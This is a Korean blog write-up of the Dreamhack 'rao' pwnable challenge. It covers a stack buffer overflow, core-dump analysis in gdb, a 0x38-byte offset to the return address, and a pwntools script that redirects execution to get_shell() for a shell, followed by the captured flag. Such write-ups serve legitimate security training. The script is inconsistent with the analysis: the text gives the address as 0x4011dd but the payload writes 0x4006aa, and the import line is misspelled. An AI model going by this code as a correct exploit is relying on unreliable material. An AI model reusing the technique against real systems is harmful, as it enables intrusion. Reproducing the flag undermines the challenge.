문제 분석

해당 문제에 AAAAA 라고 입력해보면 아무 동작도 하지 않는다. 하지만 A를 64개 정도 입력해보면 Segmentation falut라는 에러가 뜨고 core 파일이 위와 같이 생성된다.
코어 파일 분석

gdb로 core 파일을 확인해보면 버퍼오버플로우로 인해 버퍼의 크기를 초과하여 반환 주소를 0x4141414141로 덮어쓴것 같다. 따라서 return address를 변조하면 될 것 같다.
rao 파일 분석

스택 프레임 구조를 파악하기 위해 rao를 분석해보니 위와 같은 어셈블리 코드를 확인할수 있었다.
사용자의 입력이 들어갈 버퍼의 위치는 rbp-0x30이다. 이후에는 sfp가 저장되고 rbp+0x8엔 ret address가 저장된다.
따라서 버퍼의 위치와 반환 주소 사이에는 0x38만큼의 거리가 있다. 따라서 0x38만큼을 쓰레기 값으로 채우고 이후에는 실행하고자 하는 코드를 입력하면 셸을 획득할 수 있다.
get_shell() 주소 확인

위와 같이 get_shell 함수의 주소가 0x4011dd라는 것을 알았다. 그러므로 페이로드를 구성할 때

이와 같은 구성으로 페이로드를 구성하면 될 것 같다.
fom pwn import *
p = remote('host3.dreamhack.games', 21423)
payload = b"A"*0x30
payload += b"B"*0x8
payload += b"\xaa\x06\x40\x00\x00\x00\x00\x00"
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()

flag : DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
'CTF & Wargame(PWNABLE)' 카테고리의 다른 글
| [dreamhack] level 2 ssp_001 (0) | 2025.04.03 |
|---|---|
| [dreamhack] level 2 Return to Shellcode (0) | 2025.04.02 |
| [dreamhack] level 1 basic_exploitation_001 (0) | 2025.04.01 |
| [dreamhack] level 2 basic_exploitation_000 (0) | 2025.04.01 |
| [dreamhack] Beginner shell_basic (0) | 2025.03.27 |